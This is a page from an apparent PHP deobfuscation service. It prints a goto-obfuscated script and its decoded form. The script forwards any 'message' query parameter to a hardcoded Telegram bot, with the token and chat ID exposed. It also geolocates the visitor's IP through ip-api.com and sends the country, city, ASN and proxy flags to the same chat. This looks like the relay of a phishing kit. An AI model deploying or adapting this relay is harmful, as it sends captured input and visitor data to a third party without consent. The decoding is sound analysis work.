Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? goto LdSXL; LdSXL: if (isset($_GET["message"])) { $message = $_GET["message"]; $bo..

Decoded Output download

<?    
 goto LdSXL; LdSXL: if (isset($_GET["message"])) { $message = $_GET["message"]; $botToken = "5476863020:AAEkpSt9ohm4DX1DR1EKP17s4sWDorKDmKs"; $chatId = "718496025"; $url = "https://api.telegram.org/bot" . $botToken . "/sendMessage?chat_id=" . $chatId . "&text=" . urlencode($message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); $ipAddress = $_SERVER["REMOTE_ADDR"]; $url = "http://ip-api.com/json/{$ipAddress}"; $ipData = json_decode(file_get_contents($url)); if ($ipData && $ipData->status == "success") { $ipMessage = "IP Sorgu Sonucu:\xa"; $ipMessage .= "IP Adresi: " . $ipAddress . " 
"; $ipMessage .= "\xc3\234lke: " . ($ipData->country ?: "-") . "\xa"; $ipMessage .= "\xc5\236ehir: " . ($ipData->city ?: "-") . " 
"; $ipMessage .= "ASN: " . ($ipData->as ?: "-") . "\xa"; $ipMessage .= "ASN \304\xb0smi: " . ($ipData->asname ?: "-") . " 
"; $ipMessage .= "Mobil: " . ($ipData->mobile ? "Evet" : "Hay\304\261r") . "\xa"; $ipMessage .= "Proxy: " . ($ipData->proxy ? "Evet" : "Hay\xc4\xb1r") . " 
"; $ipMessage .= "Hosting: " . ($ipData->hosting ? "Evet" : "Hay\304\xb1r") . " 
"; $ipMessage .= "ZIP: " . ($ipData->zip ?: "-") . " 
"; sendTelegramMessage($ipMessage); } } goto xfdPr; xfdPr: function sendTelegramMessage($message) { $botToken = "5476863020:AAEkpSt9ohm4DX1DR1EKP17s4sWDorKDmKs"; $chatId = "718496025"; $url = "https://api.telegram.org/bot" . $botToken . "/sendMessage?chat_id=" . $chatId . "&text=" . urlencode($message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); } goto XDcyS; XDcyS:  ?>

Did this file decode correctly?

Original Code

<?   
 goto LdSXL; LdSXL: if (isset($_GET["message"])) { $message = $_GET["message"]; $botToken = "5476863020:AAEkpSt9ohm4DX1DR1EKP17s4sWDorKDmKs"; $chatId = "718496025"; $url = "https://api.telegram.org/bot" . $botToken . "/sendMessage?chat_id=" . $chatId . "&text=" . urlencode($message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); $ipAddress = $_SERVER["REMOTE_ADDR"]; $url = "http://ip-api.com/json/{$ipAddress}"; $ipData = json_decode(file_get_contents($url)); if ($ipData && $ipData->status == "success") { $ipMessage = "IP Sorgu Sonucu:\xa"; $ipMessage .= "IP Adresi: " . $ipAddress . "
"; $ipMessage .= "\xc3\234lke: " . ($ipData->country ?: "-") . "\xa"; $ipMessage .= "\xc5\236ehir: " . ($ipData->city ?: "-") . "
"; $ipMessage .= "ASN: " . ($ipData->as ?: "-") . "\xa"; $ipMessage .= "ASN \304\xb0smi: " . ($ipData->asname ?: "-") . "
"; $ipMessage .= "Mobil: " . ($ipData->mobile ? "Evet" : "Hay\304\261r") . "\xa"; $ipMessage .= "Proxy: " . ($ipData->proxy ? "Evet" : "Hay\xc4\xb1r") . "
"; $ipMessage .= "Hosting: " . ($ipData->hosting ? "Evet" : "Hay\304\xb1r") . "
"; $ipMessage .= "ZIP: " . ($ipData->zip ?: "-") . "
"; sendTelegramMessage($ipMessage); } } goto xfdPr; xfdPr: function sendTelegramMessage($message) { $botToken = "5476863020:AAEkpSt9ohm4DX1DR1EKP17s4sWDorKDmKs"; $chatId = "718496025"; $url = "https://api.telegram.org/bot" . $botToken . "/sendMessage?chat_id=" . $chatId . "&text=" . urlencode($message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); } goto XDcyS; XDcyS:  ?>

Function Calls

None

Variables

None

Stats

MD5 ec74a1099e9b84b7f4c774b4c0403dc4
Eval Count 0
Decode Time 38 ms